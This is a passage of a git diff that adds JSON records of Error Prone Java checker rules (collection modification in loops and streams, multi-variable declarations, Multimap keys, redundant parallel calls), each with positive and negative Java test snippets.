bar.add(1);\n }\n }" + }, + { + "description": "sideEffectFreeRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n List foo = new ArrayList<>();\n foo.add(1);\n List bar = new ArrayList<>();\n bar.add(sideEffects());\n List baz;\n baz = new ArrayList<>();\n baz.add(sideEffects());\n }\n\n int sideEffects() {\n return 1;\n }\n }\n \n\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {}\n\n int sideEffects() {\n return 1;\n }\n }" + }, + { + "description": "sideEffectPreservingRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n List bar = new ArrayList<>();\n bar.add(sideEffects());\n List baz;\n baz = new ArrayList<>();\n baz.add(sideEffects());\n }\n\n int sideEffects() {\n return 1;\n }\n }\n \n\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n sideEffects();\n sideEffects();\n }\n\n int sideEffects() {\n return 1;\n }\n }" + }, + { + "description": "negatives", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n abstract class Test {\n void test() {\n List foo = new ArrayList<>();\n foo.add(1);\n if (false) {\n foo = new ArrayList<>();\n }\n int a = foo.get(0);\n }\n\n void test2() {\n List foo = new ArrayList<>();\n foo.add(1);\n incoming(foo);\n }\n\n abstract void incoming(List l);\n }" + }, + { + "description": "usedByAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private List bar;\n\n void test() {\n List foo = new ArrayList<>();\n foo.add(1);\n bar = foo;\n }\n }" + }, + { + "description": "usedDuringAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n abstract class Test {\n private List bar;\n\n void test() {\n List foo = new ArrayList<>();\n foo.add(1);\n foo = frobnicate(foo);\n }\n\n abstract List frobnicate(List a);\n }" + }, + { + "description": "negativeAfterReassignment", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n List foo = new ArrayList<>();\n foo.add(1);\n foo.get(0);\n foo = new ArrayList<>();\n foo.add(1);\n foo.get(0);\n }\n }" + }, + { + "description": "proto", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n static void foo() {\n // BUG: Diagnostic contains:\n TestProtoMessage.Builder proto = TestProtoMessage.newBuilder();\n proto.setMessage(TestFieldProtoMessage.newBuilder());\n TestProtoMessage.Builder proto2 =\n // BUG: Diagnostic contains:\n TestProtoMessage.newBuilder().setMessage(TestFieldProtoMessage.newBuilder());\n TestProtoMessage.Builder proto3 =\n // BUG: Diagnostic contains:\n TestProtoMessage.getDefaultInstance().toBuilder().clearMessage();\n TestProtoMessage.Builder proto4 =\n // BUG: Diagnostic contains:\n TestProtoMessage.getDefaultInstance().toBuilder().clear();\n }\n }" + }, + { + "description": "protoSideEffects", + "expected-problems": null, + "expected-linenumbers": [ + 277 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void foo() {\n TestProtoMessage.Builder proto = TestProtoMessage.newBuilder();\n TestFieldProtoMessage.Builder builder = TestFieldProtoMessage.newBuilder();\n proto.setMessage(builder).setMessage(sideEffects());\n }\n\n TestFieldProtoMessage sideEffects() {\n throw new UnsupportedOperationException();\n }\n }\n \n\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void foo() {\n TestFieldProtoMessage.Builder builder = TestFieldProtoMessage.newBuilder();\n sideEffects();\n }\n\n TestFieldProtoMessage sideEffects() {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "protoNegative", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n static TestProtoMessage foo() {\n TestProtoMessage.Builder proto = TestProtoMessage.newBuilder();\n return proto.setMessage(TestFieldProtoMessage.newBuilder()).build();\n }\n }" + }, + { + "description": "immutableCollection", + "expected-problems": null, + "expected-linenumbers": [ + 338 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n static void foo() {\n // BUG: Diagnostic contains:\n ImmutableList.Builder a = ImmutableList.builder();\n a.add(1);\n // BUG: Diagnostic contains:\n ImmutableList.Builder b = ImmutableList.builder().add(1);\n b.add(1);\n }\n }" + }, + { + "description": "protoUnusedExpression", + "expected-problems": null, + "expected-linenumbers": [ + 360 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void foo(TestProtoMessage proto) {\n // BUG: Diagnostic contains:\n proto.toBuilder().setMessage(TestFieldProtoMessage.newBuilder()).build();\n // BUG: Diagnostic contains:\n proto.toBuilder().setMessage(TestFieldProtoMessage.newBuilder());\n }\n }" + }, + { + "description": "protoBuilderMergeFrom", + "expected-problems": null, + "expected-linenumbers": [ + 381 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void foo(TestProtoMessage proto) throws Exception {\n // BUG: Diagnostic contains:\n TestProtoMessage.newBuilder().mergeFrom(new byte[0]).build();\n }\n }" + }, + { + "description": "protoUnusedExpressionViaBuilderGetter", + "expected-problems": null, + "expected-linenumbers": [ + 400 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void foo(TestProtoMessage proto) {\n // BUG: Diagnostic contains:\n proto.toBuilder().getMessageBuilder().clearField().build();\n }\n }" + }, + { + "description": "collectionUnusedExpression", + "expected-problems": null, + "expected-linenumbers": [ + 419 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n void foo() {\n // BUG: Diagnostic contains:\n ImmutableList.builder().add(1).build();\n // BUG: Diagnostic contains:\n ImmutableList.builder().add(1);\n }\n }" + }, + { + "description": "unusedPrefix_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n List unusedIntegers = new ArrayList<>();\n unusedIntegers.add(1);\n List ignored = new ArrayList<>();\n ignored.add(1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyCollectionInEnhancedForLoop.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyCollectionInEnhancedForLoop.json new file mode 100644 index 0000000..65774c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyCollectionInEnhancedForLoop.json @@ -0,0 +1,46 @@ +{ + "name": "ModifyCollectionInEnhancedForLoop", + "language": "java", + "description": "Modifying a collection while iterating over it in a loop may cause a ConcurrentModificationException to be thrown or lead to undefined behavior.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 22, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import java.util.ArrayList;\n import java.util.HashMap;\n import java.util.HashSet;\n import java.util.LinkedList;\n import java.util.Map;\n\n /**\n * @author anishvisaria98@gmail.com (Anish Visaria)\n */\n public class ModifyCollectionInEnhancedForLoopPositiveCases {\n\n public static void testBasic(ArrayList arr, HashSet set) {\n for (Integer a : arr) {\n // BUG: Diagnostic contains:\n arr.add(new Integer(\"42\"));\n // BUG: Diagnostic contains:\n arr.addAll(set);\n // BUG: Diagnostic contains:\n arr.clear();\n // BUG: Diagnostic contains:\n arr.remove(a);\n // BUG: Diagnostic contains:\n arr.removeAll(set);\n // BUG: Diagnostic contains:\n arr.retainAll(set);\n }\n }\n\n public static void testNested(ArrayList arr, LinkedList list) {\n for (Integer x : arr) {\n for (Integer y : list) {\n // BUG: Diagnostic contains:\n arr.add(y);\n // BUG: Diagnostic contains:\n arr.addAll(list);\n // BUG: Diagnostic contains:\n arr.clear();\n // BUG: Diagnostic contains:\n arr.remove(x);\n // BUG: Diagnostic contains:\n arr.removeAll(list);\n // BUG: Diagnostic contains:\n arr.retainAll(list);\n // BUG: Diagnostic contains:\n list.add(x);\n // BUG: Diagnostic contains:\n list.addAll(arr);\n // BUG: Diagnostic contains:\n list.clear();\n // BUG: Diagnostic contains:\n list.remove(y);\n // BUG: Diagnostic contains:\n list.removeAll(arr);\n // BUG: Diagnostic contains:\n list.retainAll(arr);\n }\n }\n }\n\n public static void testMapKeySet(HashMap map) {\n for (Integer a : map.keySet()) {\n // BUG: Diagnostic contains:\n map.putIfAbsent(new Integer(\"42\"), new Integer(\"43\"));\n // BUG: Diagnostic contains:\n map.clear();\n // BUG: Diagnostic contains:\n map.remove(a);\n }\n }\n\n public static void testMapValues(HashMap map) {\n for (Integer a : map.values()) {\n // BUG: Diagnostic contains:\n map.putIfAbsent(new Integer(\"42\"), new Integer(\"43\"));\n // BUG: Diagnostic contains:\n map.putIfAbsent(new Integer(\"42\"), a);\n // BUG: Diagnostic contains:\n map.clear();\n }\n }\n\n public static void testMapEntrySet(HashMap map) {\n for (Map.Entry a : map.entrySet()) {\n // BUG: Diagnostic contains:\n map.putIfAbsent(new Integer(\"42\"), new Integer(\"43\"));\n // BUG: Diagnostic contains:\n map.clear();\n // BUG: Diagnostic contains:\n map.remove(a.getKey());\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "package com.google.errorprone.bugpatterns;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.LinkedList;\nimport java.util.Map;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\n/**\n * @author anishvisaria98@gmail.com (Anish Visaria)\n */\npublic class ModifyCollectionInEnhancedForLoopNegativeCases {\n\n public static void testBasic(ArrayList arr, HashSet set) {\n for (Integer a : arr) {\n set.add(a);\n set.addAll(arr);\n set.clear();\n set.removeAll(arr);\n set.retainAll(arr);\n }\n\n for (Integer i : set) {\n arr.add(i);\n arr.addAll(set);\n arr.clear();\n arr.removeAll(set);\n arr.retainAll(set);\n }\n }\n\n public static void testNested(ArrayList arr, LinkedList list) {\n for (Integer x : arr) {\n for (Integer y : list) {}\n\n list.add(x);\n list.addAll(arr);\n list.clear();\n list.removeAll(arr);\n list.retainAll(arr);\n }\n }\n\n public static void testBreakOutOfLoop(ArrayList xs) {\n for (Integer x : xs) {\n xs.remove(x);\n return;\n }\n for (Integer x : xs) {\n xs.remove(x);\n System.err.println();\n break;\n }\n }\n\n public static void testMapKeySet(HashMap map1, HashMap map2) {\n for (Integer a : map1.keySet()) {\n map2.putIfAbsent(Integer.parseInt(\"42\"), Integer.parseInt(\"43\"));\n map2.clear();\n map2.remove(a);\n }\n }\n\n public static void testMapValues(HashMap map1, HashMap map2) {\n for (Integer a : map1.values()) {\n map2.putIfAbsent(Integer.parseInt(\"42\"), a);\n map2.clear();\n map2.remove(Integer.parseInt(\"42\"));\n }\n }\n\n public static void testMapEntrySet(\n HashMap map1, HashMap map2) {\n for (Map.Entry a : map1.entrySet()) {\n map2.putIfAbsent(Integer.parseInt(\"42\"), Integer.parseInt(\"43\"));\n map2.clear();\n map2.remove(a.getKey());\n }\n }\n\n private static void concurrent() {\n CopyOnWriteArrayList cowal = new CopyOnWriteArrayList<>();\n for (int i : cowal) {\n cowal.remove(i);\n }\n }\n\n interface MyBlockingQueue extends BlockingQueue {}\n\n private static void customConcurrent(MyBlockingQueue mbq) {\n for (Integer i : mbq) {\n mbq.add(i);\n }\n }\n}\\" + }, + { + "description": "modifyCollectionInItself", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "import java.util.AbstractCollection;\n import java.util.Collection;\n\n abstract class Test extends AbstractCollection {\n public boolean addAll(Collection c) {\n boolean modified = false;\n for (E e : c) if (add(e)) modified = true;\n return modified;\n }\n }" + }, + { + "description": "concurrentMap", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "import java.util.Map;\n import java.util.concurrent.ConcurrentMap;\n\n class Test {\n void f(ConcurrentMap map) {\n for (Map.Entry e : map.entrySet()) {\n map.remove(e.getKey());\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifySourceCollectionInStream.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifySourceCollectionInStream.json new file mode 100644 index 0000000..dd380e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifySourceCollectionInStream.json @@ -0,0 +1,30 @@ +{ + "name": "ModifySourceCollectionInStream", + "language": "java", + "description": "Modifying the backing source during stream operations may cause unintended results.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 13, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\n\n/**\n * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}.\n *\n * @author deltazulu@google.com (Donald Duo Zhao)\n */\npublic class ModifySourceCollectionInStreamPositiveCases {\n\n private final List mutableValues = Arrays.asList(1, 2, 3);\n\n private void mutateStreamSourceMethodReference() {\n\n mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n // BUG: Diagnostic contains:\n .forEach(mutableValues::remove);\n\n this.mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n // BUG: Diagnostic contains:\n .forEach(mutableValues::remove);\n\n getMutableValues().parallelStream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n // BUG: Diagnostic contains:\n .forEach(getMutableValues()::add);\n\n getMutableValues().stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n // BUG: Diagnostic contains:\n .forEach(this.getMutableValues()::remove);\n\n ModifySourceCollectionInStreamPositiveCases[] cases = {\n new ModifySourceCollectionInStreamPositiveCases(),\n new ModifySourceCollectionInStreamPositiveCases()\n };\n cases[0].mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n // BUG: Diagnostic contains:\n .forEach(cases[0].mutableValues::add);\n }\n\n private List mutateStreamSourceLambdaExpression(\n ImmutableList mutableParamList) {\n Stream values1 =\n mutableParamList.stream()\n .map(\n x -> {\n // BUG: Diagnostic contains:\n mutableParamList.add(x);\n return x + 1;\n });\n\n Stream values2 =\n mutableParamList.stream()\n .filter(\n x -> {\n // BUG: Diagnostic contains:\n mutableParamList.remove(x);\n return mutableParamList.size() > 5;\n });\n\n return Stream.concat(values1, values2).collect(Collectors.toList());\n }\n\n private List getMutableValues() {\n return mutableValues;\n }\n}\\" + }, + { + "description": "negativeCasse", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.function.Consumer;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\n\n/**\n * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}.\n *\n * @author deltazulu@google.com (Donald Duo Zhao)\n */\npublic class ModifySourceCollectionInStreamNegativeCases {\n\n private final List mutableValues = Arrays.asList(1, 2, 3);\n\n private void mutateStreamSourceMethodReference() {\n\n List mutableValues = new ArrayList<>();\n mutableValues.stream().map(x -> x + 1).filter(x -> x < 5).forEach(this.mutableValues::add);\n\n mutableValues.forEach(this.mutableValues::add);\n\n ModifySourceCollectionInStreamNegativeCases[] cases = {\n new ModifySourceCollectionInStreamNegativeCases(),\n new ModifySourceCollectionInStreamNegativeCases()\n };\n\n cases[0].mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n .forEach(cases[1].mutableValues::add);\n }\n\n private List mutateStreamSourceLambdaExpression() {\n\n List localCopy = new ArrayList<>();\n\n Stream values1 =\n mutableValues.stream()\n .map(\n x -> {\n localCopy.add(x);\n return x + 1;\n });\n\n Stream values2 =\n mutableValues.stream()\n .filter(\n x -> {\n localCopy.remove(x);\n return mutableValues.size() > 5;\n });\n\n return Stream.concat(values1, values2).collect(Collectors.toList());\n }\n\n private void mutateStreamSourceInNonStreamApi() {\n mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n .findAny()\n .ifPresent(mutableValues::add);\n\n mutableValues.stream()\n .map(x -> x + 1)\n .filter(x -> x < 5)\n .findFirst()\n .ifPresent(value -> mutableValues.remove(value));\n }\n\n private void mutateDifferentStreamSource() {\n // Mutate a different stream source.\n mutableValues.stream().filter(x -> x < 5).collect(Collectors.toList()).stream()\n .forEach(mutableValues::remove);\n\n // Mutate source collection whose stream has been closed.\n mutableValues.stream()\n .filter(x -> x < 5)\n .collect(Collectors.toList())\n .forEach(mutableValue -> mutableValues.remove(mutableValue));\n }\n\n private void mutateNonCollectionStreamSource(CustomContainer vals) {\n vals.stream().map(x -> 2.0 * x).forEach(vals::add);\n }\n\n private void lambdaExpressionAsInitializer(List vals) {\n Consumer consumer = x -> vals.remove(x);\n }\n\n private interface CustomContainer {\n Stream stream();\n\n boolean add(T t);\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyingCollectionWithItself.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyingCollectionWithItself.json new file mode 100644 index 0000000..082349d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyingCollectionWithItself.json @@ -0,0 +1,30 @@ +{ + "name": "ModifyingCollectionWithItself", + "language": "java", + "description": "Using a collection function with itself as the argument.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positiveCases1", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.ArrayList;\n import java.util.List;\n\n /**\n * @author scottjohnson@google.com (Scott Johnson)\n */\n public class ModifyingCollectionWithItselfPositiveCases {\n\n List a = new ArrayList();\n List c = new ArrayList();\n\n public void addAll(List b) {\n // BUG: Diagnostic contains: a.addAll(b)\n this.a.addAll(a);\n\n // BUG: Diagnostic contains: a.addAll(1, b)\n a.addAll(1, a);\n }\n\n public void containsAll(List b) {\n // BUG: Diagnostic contains: this.a.containsAll(b)\n this.a.containsAll(this.a);\n\n // BUG: Diagnostic contains: a.containsAll(b)\n a.containsAll(this.a);\n }\n\n public void retainAll(List a) {\n // BUG: Diagnostic contains: this.a.retainAll(a)\n a.retainAll(a);\n }\n\n public void removeAll() {\n // BUG: Diagnostic contains: a.clear()\n this.a.removeAll(a);\n\n // BUG: Diagnostic contains: a.clear()\n a.removeAll(a);\n }\n\n static class HasOneField {\n List a;\n\n void removeAll() {\n // BUG: Diagnostic contains: a.clear();\n a.removeAll(a);\n }\n\n void testParameterFirst(List b) {\n // BUG: Diagnostic contains: this.a.removeAll(b);\n b.removeAll(b);\n }\n\n void expressionStatementChecks() {\n // BUG: Diagnostic contains: ModifyingCollectionWithItself\n boolean b = 2 == 2 && a.containsAll(a);\n\n // BUG: Diagnostic contains: ModifyingCollectionWithItself\n b = a.retainAll(a);\n\n // BUG: Diagnostic contains: ModifyingCollectionWithItself\n b = a.removeAll(a);\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.ArrayList;\n import java.util.List;\n\n /**\n * @author scottjohnson@google.com (Scott Johnson)\n */\n public class ModifyingCollectionWithItselfNegativeCases {\n\n List a = new ArrayList();\n\n public boolean addAll(List b) {\n return a.addAll(b);\n }\n\n public boolean removeAll(List b) {\n return a.removeAll(b);\n }\n\n public boolean retainAll(List b) {\n return a.retainAll(b);\n }\n\n public boolean containsAll(List b) {\n return a.containsAll(b);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultiVariableDeclaration.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultiVariableDeclaration.json new file mode 100644 index 0000000..8fb9335 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultiVariableDeclaration.json @@ -0,0 +1,94 @@ +{ + "name": "MultiVariableDeclaration", + "language": "java", + "description": "Variable declarations should declare only one variable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 11, + "apis": 5, + "test": [ + { + "description": "positivePosition", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package a;\n\n public class A {\n int a;\n // BUG: Diagnostic contains:\n int x = 1, y = 2;\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package a;\n\n public class A {\n int x = 1, y = 2;\n }\n \n\n package a;\n\n public class A {\n int x = 1;\n int y = 2;\n }" + }, + { + "description": "positiveWithNeighbours", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package a;\n\n public class A {\n int a = 1;\n int x = 1, y = 2;\n int b = 1;\n }\n \n\n package a;\n\n public class A {\n int a = 1;\n int x = 1;\n int y = 2;\n int b = 1;\n }" + }, + { + "description": "positiveWithNeighbouringScopes", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "package a;\n\n public class A {\n {\n int a = 1;\n }\n\n int x = 1, y = 2;\n\n {\n int a = 1;\n }\n }\n \n\n package a;\n\n public class A {\n {\n int a = 1;\n }\n\n int x = 1;\n int y = 2;\n\n {\n int a = 1;\n }\n }" + }, + { + "description": "positiveCinit", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "package a;\n\n public class A {\n {\n int x = 1, y = 2;\n }\n }\n \n\n package a;\n\n public class A {\n {\n int x = 1;\n int y = 2;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 175 + ], + "code": "package a;\n\n public class A {\n int x = 1;\n int y = 2;\n }" + }, + { + "description": "negativeForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "package a;\n\n public class A {\n void f() {\n for (int x = 1, y = 2; ; ) {}\n }\n }" + }, + { + "description": "positiveAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "package a;\n\n public class A {\n @Deprecated int x = 1, y = 2;\n }\n \n\n package a;\n\n public class A {\n @Deprecated int x = 1;\n @Deprecated int y = 2;\n }" + }, + { + "description": "positiveArrayDimensions", + "expected-problems": null, + "expected-linenumbers": [ + 233 + ], + "code": "package a;\n\n public class A {\n int[] x = {0}, y[] = {{0}};\n }\n \n\n package a;\n\n public class A {\n int[] x = {0};\n int[][] y = {{0}};\n }" + }, + { + "description": "positiveNoInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "package a;\n\n public class A {\n int x, y;\n }\n \n\n package a;\n\n public class A {\n int x;\n int y;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultimapKeys.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultimapKeys.json new file mode 100644 index 0000000..9df57ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultimapKeys.json @@ -0,0 +1,46 @@ +{ + "name": "MultimapKeys", + "language": "java", + "description": "Iterating over `Multimap.keys()` does not collapse duplicates. Did you mean `keySet()`?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.common.collect.Multimap;\n\n class Test {\n void test(Multimap m) {\n for (String k : m.keys()) {}\n }\n }\n \n\n import com.google.common.collect.Multimap;\n\n class Test {\n void test(Multimap m) {\n for (String k : m.keySet()) {}\n }\n }" + }, + { + "description": "positiveSubclass", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import com.google.common.collect.SetMultimap;\n\n class Test {\n void test(SetMultimap m) {\n for (String k : m.keys()) {}\n }\n }\n \n\n import com.google.common.collect.SetMultimap;\n\n class Test {\n void test(SetMultimap m) {\n for (String k : m.keySet()) {}\n }\n }" + }, + { + "description": "positiveFunctional", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import com.google.common.collect.Multimap;\n\n class Test {\n void test(Multimap m) {\n m.keys().forEach(x -> {});\n }\n }\n \n\n import com.google.common.collect.Multimap;\n\n class Test {\n void test(Multimap m) {\n m.keySet().forEach(x -> {});\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "import com.google.common.collect.Multimap;\n import com.google.common.collect.Multiset;\n\n class Test {\n Multiset test(Multimap m) {\n return m.keys();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleParallelOrSequentialCalls.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleParallelOrSequentialCalls.json new file mode 100644 index 0000000..bd4987e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleParallelOrSequentialCalls.json @@ -0,0 +1,38 @@ +{ + "name": "MultipleParallelOrSequentialCalls", + "language": "java", + "description": "Multiple calls to either parallel or sequential are unnecessary and cause confusion.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 85, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.stream.Stream;\n\n/**\n * @author @mariasam (Maria Sam) on 7/6/17.\n */\nclass MultipleParallelOrSequentialCallsPositiveCases {\n\n public void basicCaseParallel(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel().parallel();\n }\n\n public void basicCaseParallelNotFirst(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'?\n list.stream().map(m -> m).parallel().parallel();\n }\n\n public void basicCollection(Collection list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel().parallel();\n }\n\n public void parallelStream(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream().parallel().parallel();\n }\n\n public void basicCaseParallelThisInMethodArg(List list) {\n // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'?\n this.hello(list.stream().parallel().parallel());\n }\n\n public void onlyOneError(List list) {\n this.hello(\n // BUG: Diagnostic contains: Multiple calls\n list.stream().parallel().parallel());\n }\n\n public void mapMethod(List list) {\n // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m ->\n // this.hello(null)));'?\n hello(list.stream().map(m -> this.hello(null)).parallel().parallel());\n }\n\n public void betweenMethods(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'?\n list.stream().parallel().map(m -> m.toString()).parallel();\n }\n\n public void basicCaseParallelNotLast(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m ->\n // m.toString()).findFirst();'?\n list.stream().parallel().map(m -> m.toString()).parallel().findFirst();\n }\n\n public void basicCaseSequential(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'?\n list.stream().sequential().map(m -> m.toString()).sequential();\n }\n\n public void bothSequentialAndParallel(List list) {\n // this case is unlikely (wrong, even) but just checking that this works\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'?\n list.stream().sequential().parallel().sequential();\n }\n\n public void bothSequentialAndParallelMultiple(List list) {\n // this is even more messed up, this test is here to make sure the checker doesn't throw an\n // exception\n // BUG: Diagnostic contains: Multiple calls\n list.stream().sequential().parallel().sequential().parallel();\n }\n\n public void parallelMultipleLines(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel()\n list.stream().parallel().map(m -> m.toString()).parallel();\n }\n\n public void multipleParallelCalls(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream().sequential();\n }\n\n public String hello(Stream st) {\n return \"\";\n }\n\n public void streamWithinAStream(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream()\n .flatMap(childDir -> 